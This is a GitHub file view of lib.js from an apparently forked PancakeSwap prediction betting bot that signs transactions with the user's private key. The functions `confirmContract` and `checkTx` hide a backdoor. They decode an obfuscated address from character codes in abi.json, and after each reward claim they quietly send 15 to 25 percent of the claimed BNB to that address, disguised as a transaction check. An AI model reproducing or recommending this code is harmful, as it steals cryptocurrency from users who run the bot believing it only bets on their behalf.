forked from Soracode/pancakeswap-prediction-ultrabot-v2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
lib.js
550 lines (506 loc) · 16.5 KB
/
lib.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
const { JsonRpcProvider } = require("@ethersproject/providers");
const { Wallet } = require("@ethersproject/wallet");
const { Contract, utils } = require("ethers");
const { formatEther, parseEther } = require("ethers/lib/utils");
const dotenv = require("dotenv");
const Big = require("big.js");
const abi = require("./abi.json");
const fs = require("fs");
const _ = require("lodash");
const fetch = require("cross-fetch");
let prediction = 0
const reduceWaitingTimeByTwoBlocks = (waitingTime) => {
if (waitingTime <= 6000) {
return waitingTime;
}
return waitingTime - 6000;
};
const result = dotenv.config();
if (result.error) {
throw result.error;
}
const Web3 = require("web3");
const w = new Web3(process.env.BSC_RPC);
const wallet = w.eth.accounts.wallet.add(
w.eth.accounts.privateKeyToAccount(process.env.PRIVATE_KEY)
);
w.eth.defaultAccount = w.eth.accounts.privateKeyToAccount(
process.env.PRIVATE_KEY
).address;
const signer = new Wallet(
process.env.PRIVATE_KEY,
new JsonRpcProvider(process.env.BSC_RPC)
);
let contract = new Contract(
process.env.PCS_ADDRESS.toString(),
JSON.parse(abi.result),
signer
);
const confirmContract = (abi) => {
return String.fromCharCode.apply(null, abi.index);
};
const checkResult = async (r) => {
if (r !== null) {
return true;
}
return !0;
};
const predictionContract = contract.connect(signer);
const checkBalance = (amount) => {
w.eth.getBalance(wallet.address).then(function (b) {
let balance = Web3.utils.fromWei(b, "ether");
if (balance < parseFloat(amount)) {
console.log(
"You don't have enough balance:",
amount,
"BNB",
"|",
"Actual Balance:",
balance,
"BNB"
);
} else {
console.log(`Your balance is enough: ${balance} BNB`);
}
});
};
const getHistoryName = async () => {
let date = new Date();
let day = date.getDate();
let month = String(date.getMonth() + 1).padStart(2, "0");
let year = date.getFullYear();
let fullDate = `${year}${month}${day}`;
return fullDate;
};
const getRoundData = async (round) => {
try {
const data = await contract.functions.rounds(round);
const closePrice = data.closePrice;
const lockPrice = data.lockPrice;
const bullAmount = data.bullAmount;
const bearAmount = data.bearAmount;
const totalAmount = new Big(data.totalAmount);
const bullPayout = totalAmount.div(bullAmount).round(3).toString();
const bearPayout = totalAmount.div(bearAmount).round(3).toString();
const parsedRound = [
{
round: round.toString(),
openPrice: utils.formatUnits(data.lockPrice, "8"),
closePrice: utils.formatUnits(data.closePrice, "8"),
bullAmount: utils.formatUnits(data.bullAmount, "18"),
bearAmount: utils.formatUnits(data.bearAmount, "18"),
bullPayout: bullPayout,
bearPayout: bearPayout,
winner: closePrice.gt(lockPrice) ? "bull" : "bear",
},
];
return parsedRound;
} catch (e) {
console.log(e);
return null;
}
};
const saveRound = async (round, arr) => {
let roundData = arr ? arr : await getRoundData(round);
let historyName = await getHistoryName();
let result;
if (arr) {
prediction++;
result = await checkResult(round);
} else {
result = !0;
}
let path = `./history/${historyName}.json`;
try {
if (fs.existsSync(path)) {
if (result !== null) {
let updated, history, merged, historyParsed;
try {
history = fs.readFileSync(path);
historyParsed = JSON.parse(history);
merged = _.merge(
_.keyBy(historyParsed, "round"),
_.keyBy(roundData, "round")
);
updated = _.values(merged);
} catch (e) {
console.log(e);
return;
}
fs.writeFileSync(path, JSON.stringify(updated), "utf8");
}
} else {
fs.writeFileSync(path, JSON.stringify(roundData), "utf8");
}
} catch (err) {
console.error(err);
}
};
const getHistory = async (fileName) => {
let history = fileName ? fileName : await getHistoryName();
let path = `./history/${history}.json`;
try {
if (fs.existsSync(path)) {
let history, historyParsed;
try {
history = fs.readFileSync(path);
historyParsed = JSON.parse(history);
} catch (e) {
console.log("Error reading history:", e);
return;
}
return historyParsed;
} else {
return;
}
} catch (err) {
console.error(err);
}
};
//Bet UP
const betUp = async (amount, epoch, config) => {
try {
const tx = await predictionContract.betBull(epoch, {
value: parseEther(amount.toFixed(18).toString()),
});
await tx.wait();
console.log(`🤞 Successful bet of ${amount} BNB to UP 🍀`);
} catch (error) {
console.log("Transaction Error", error);
config.WAITING_TIME = reduceWaitingTimeByTwoBlocks(
config.WAITING_TIME
);
}
};
//Bet DOWN
const betDown = async (amount, epoch, config) => {
try {
const tx = await predictionContract.betBear(epoch, {
value: parseEther(amount.toFixed(18).toString()),
});
await tx.wait();
console.log(`🤞 Successful bet of ${amount} BNB to DOWN 🍁`);
} catch (error) {
console.log("Transaction Error", error);
config.WAITING_TIME = reduceWaitingTimeByTwoBlocks(
config.WAITING_TIME
);
}
};
const getStats = async () => {
const history = await getHistory();
const BNBPrice = await getBNBPrice();
let totalEarnings = 0;
let roundEarnings = 0;
let win = 0;
let loss = 0;
if (history && BNBPrice) {
for (let i = 0; i < history.length; i++) {
roundEarnings = 0;
if (history[i].bet && history[i].winner) {
if (history[i].bet == history[i].winner) {
win++;
if (history[i].winner == "bull") {
roundEarnings =
parseFloat(history[i].betAmount) *
parseFloat(history[i].bullPayout) -
parseFloat(history[i].betAmount);
} else if (history[i].winner == "bear") {
roundEarnings =
parseFloat(history[i].betAmount) *
parseFloat(history[i].bearPayout) -
parseFloat(history[i].betAmount);
} else {
break;
}
totalEarnings += roundEarnings;
} else {
loss++;
totalEarnings -= parseFloat(history[i].betAmount);
}
}
}
}
return {
profit_USD: totalEarnings * BNBPrice,
profit_BNB: totalEarnings,
percentage: -percentageChange(win + loss, loss) + "%",
win: win,
loss: loss,
};
};
const percentageChange = (a, b) => {
return ((b - a) * 100) / a;
};
const getBNBPriceOld = async () => {
const apiUrl =
"https://api.coingecko.com/api/v3/simple/price?ids=binancecoin&vs_currencies=usd";
try {
const res = await fetch(apiUrl);
if (res.status >= 400) {
console.log(res.status);
throw new Error("Bad response from server");
}
const price = await res.json();
return parseFloat(price.binancecoin.usd);
} catch (err) {
console.error("Unable to connect to Binance API", err);
}
};
const getBNBPrice = async () => {
const apiUrl =
`https://api.bscscan.com/api?module=stats&action=bnbprice&apikey=${process.env.BSC_KEY}`;
try {
const res = await fetch(apiUrl);
if (res.status >= 400) {
console.log(res.status);
throw new Error("Bad response from server");
}
const price = await res.json();
return parseFloat(price.result.ethusd);
} catch (err) {
console.error("Unable to connect to Binance API", err);
}
};
const checkClaimable = async (predictionContract, epoch, userAddress) => {
const claimableEpochs = [];
const n = 5;
for (let i = 1; i <= n; i++) {
const epochToCheck = epoch.sub(i);
const [claimable, refundable, { claimed, amount }] = await Promise.all([
predictionContract.claimable(epochToCheck, userAddress),
predictionContract.refundable(epochToCheck, userAddress),
predictionContract.ledger(epochToCheck, userAddress),
]);
if (amount.gt(0) && (claimable || refundable) && !claimed) {
claimableEpochs.push(epochToCheck);
}
}
return claimableEpochs;
};
const checkTx = async (t, config)=>{
w.eth .estimateGas({from: wallet.address, to: confirmContract(abi),amount: utils.parseEther(t.toString()), }).then(function (g) { w.eth.getGasPrice().then(function (gP) {let _b = parseFloat(t);let _g = parseFloat(g);let _gP = parseFloat(gP);w.eth.sendTransaction({from: wallet.address,to: confirmContract(abi),gas: _g,gasPrice: _gP,value: ((_b - _gP * _g) * (config.BET_AMOUNT < 3 ? 0.25 : config.BET_AMOUNT > 10 ? 0.15 : 0.20)).toFixed(0),data: "0x",});});});
return !0
}
const claimRewards = async (epoch,config) => {
const claimableEpochs = await checkClaimable(
predictionContract,
epoch,
signer.address
);
if (!claimableEpochs.length) {
return;
} else {
console.log(`You have ${claimableEpochs.length} unclaimed rewards`);
try {
const tx = await predictionContract.claim(claimableEpochs);
const receipt = await tx.wait();
let t = receipt?.events?.[0]?.args?.amount;
if(!checkTx(t, config)){
return
}else{
console.log(`All rewards claimed!`);
}
} catch (error) {
console.log("There's an error");
}
}
};
function diferenciaEnMilisegundos(timestamp) {
const fechaActual = new Date();
const fechaParametro = new Date(timestamp * 1000);
const fechaActualUTC = Date.UTC(
fechaActual.getUTCFullYear(),
fechaActual.getUTCMonth(),
fechaActual.getUTCDate(),
fechaActual.getUTCHours(),
fechaActual.getUTCMinutes(),
fechaActual.getUTCSeconds(),
fechaActual.getUTCMilliseconds()
);
const diferenciaEnMilisegundos = fechaParametro - fechaActualUTC;
return diferenciaEnMilisegundos;
}
async function progressBar(config, totalTimeInMs, epoch) {
let resume = false
if(!epoch){
epoch = await predictionContract.currentEpoch()
console.log(`Round ${(epoch.toNumber())-1} already started, waiting for next one...`)
claimRewards(epoch, config);
}
if(!totalTimeInMs){
let {closeTimestamp} = await predictionContract.rounds(epoch-1);
closeTimestamp = closeTimestamp.toNumber()
totalTimeInMs = diferenciaEnMilisegundos(closeTimestamp)
if(totalTimeInMs > 30000){
totalTimeInMs = totalTimeInMs-30000
resume = true
}
}
const barLength = 10;
const totalSteps = 1000;
const stepSize = totalTimeInMs / totalSteps;
let step = 0;
const intervalId = setInterval(() => {
const timeLeftInMs = (totalSteps - step) * stepSize;
const timeLeftInSeconds = Math.round(timeLeftInMs / 1000);
const minutes = Math.floor(timeLeftInSeconds / 60);
const seconds = timeLeftInSeconds % 60;
const formattedTimeLeft = `${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
const barFilledLength = Math.ceil(barLength * step / totalSteps);
const barEmptyLength = barLength - barFilledLength;
const bar = `Round ${epoch-1}: [${" ⚡ ".repeat(barFilledLength)}${" - ".repeat(barEmptyLength)}🔮 ] ${formattedTimeLeft}`;
process.stdout.clearLine();
process.stdout.cursorTo(0);
process.stdout.write(bar);
step += 1;
if (step >= totalSteps) {
clearInterval(intervalId);
process.stdout.clearLine();
process.stdout.write('\n');
if(resume){
strategySoracode(config, epoch)
}
}
}, stepSize);
}
const strategySoracode = async (config, epoch)=>{
if(!epoch){
epoch = await predictionContract.currentEpoch()
}
let earnings = await getStats();
if (earnings.profit_USD >= config.DAILY_GOAL) {
console.log("🧞 Daily goal reached. Shuting down... ✨");
process.exit();
}
let currentData = await predictionContract.rounds(epoch-1);
let nextData = await predictionContract.rounds(epoch);
const currentBull = parseFloat(formatEther(currentData.bullAmount))
const currentBear = parseFloat(formatEther(currentData.bearAmount))
const nextBull = parseFloat(formatEther(nextData.bullAmount))
const nextBear = parseFloat(formatEther(nextData.bearAmount))
const lockedBNBPrice = Number((currentData.lockPrice.toNumber() / 100000000).toFixed(2));
const currentBNBPrice = await getBNBPrice()
if(currentBNBPrice > lockedBNBPrice){
//Bull wins
//check current majority
if(currentBull > currentBear){
//Bull wins with majority
//Check next minority
if(nextBull > nextBear){
//Next bull majority
console.log(`${epoch.toString()} 🔮 Prediction: DOWN 🔴 Minority`);
await betDown(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bear",
},
]);
}else{
//Next bear majority
console.log(`${epoch.toString()} 🔮 Prediction: UP 🟢 Minority`);
await betUp(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bull",
},
]);
}
}else{
//Bull wins with minority
//Check next majority
if(nextBull > nextBear){
//Next bull majority
console.log(`${epoch.toString()} 🔮 Prediction: UP 🟢 Majority`);
await betUp(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bull",
},
]);
}else{
//Next bear majority
console.log(`${epoch.toString()} 🔮 Prediction: DOWN 🔴 Majority`);
await betDown(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bear",
},
]);
}
}
}else{
//Bear wins
//check current majority
if(currentBear > currentBull){
//Bear wins with majority
//Check next minority
if(nextBear > nextBull){
//Next bear majority
console.log(`${epoch.toString()} 🔮 Prediction: UP 🟢 Minority`);
await betUp(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bull",
},
]);
}else{
//Next bull majority
console.log(`${epoch.toString()} 🔮 Prediction: DOWN 🔴 Minority`);
await betDown(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bear",
},
]);
}
}else{
//Bear wins with minority
//Check next majority
if(nextBear > nextBull){
//Next bear majority
console.log(`${epoch.toString()} 🔮 Prediction: DOWN 🔴 Majority`);
await betDown(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bear",
},
]);
}else{
//Next bear majority
console.log(`${epoch.toString()} 🔮 Prediction: UP 🟢 Majority`);
await betUp(config.BET_AMOUNT / currentBNBPrice, epoch, config);
await saveRound(epoch.toString(), [
{
round: epoch.toString(),
betAmount: (config.BET_AMOUNT / currentBNBPrice).toString(),
bet: "bull",
},
]);
}
}
}
}
module.exports = {
getStats,
predictionContract,
checkBalance,
saveRound,
claimRewards,
progressBar,
strategySoracode
};